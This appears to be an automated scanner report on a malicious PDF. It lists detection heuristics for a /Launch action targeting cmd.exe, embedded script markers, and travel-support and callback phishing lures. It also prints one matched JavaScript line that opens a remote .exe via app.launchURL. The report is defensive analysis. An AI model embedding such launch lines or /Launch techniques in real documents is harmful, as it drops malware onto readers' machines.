Malicious PDF — malware analysis report

Heuristics 12

• OpenAction trigger high PDF_OPENACTION
  PDF has an /OpenAction that launches, submits, or opens an external target
• Launch action high PDF_LAUNCH
  PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
• Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
  PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
• /Launch action target: cmd\056exe high PDF_LAUNCH_COMMAND
  PDF /Launch action specifies an executable target.
• Travel-support phone-number stuffing scam high SE_TRAVEL_SUPPORT_PHONE_SCAM
  Document repeats phone numbers in airline/travel/refund/support language, often across multiple regional phrasings. This matches SEO/support-scam PDFs that impersonate airlines or travel brands and route users to attacker-controlled call centers rather than a normal travel document.
• Callback phishing phone lure medium SE_CALLBACK_LURE
  Document asks the user to call a phone number in billing, refund, subscription, fraud, or security context — consistent with callback phishing or tech-support scam patterns. Suppressed for legitimate-issuer (IRS/gov/official-form) or Microsoft license-boilerplate documents that carry no urgency or charge/dispute escalation.
• JavaScript action low 2 related findings PDF_JAVASCRIPT
  PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
• Embedded JS stream low PDF_JS
  PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
• PDF JavaScript opens or fetches a remote URL/document low PDF_JS_REMOTE_DOC_FETCH
  Embedded JavaScript calls app.openDoc() against a remote filesystem (cFS:'CHTTP'/'CFTP') or app.launchURL() to open an external / base64-encoded URL. This is the JS-driven remote-document / phishing-redirect technique — distinct from a /Launch file dropper. It exploits no CVE; the risk is where the URL leads.
  Matched line in script

  try{app.launchURL("http://localhost:3000/files/pdf.pdf-1777384340.exe",true);}catch(e){}

• External URI low PDF_URI
  PDF contains an external URL action
• PDF static-analysis soft budget exhausted low SCAN_INCOMPLETE
  The bounded PDF scanner skipped late sub-format walkers after the configured per-file soft deadline. Earlier findings remain valid.
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
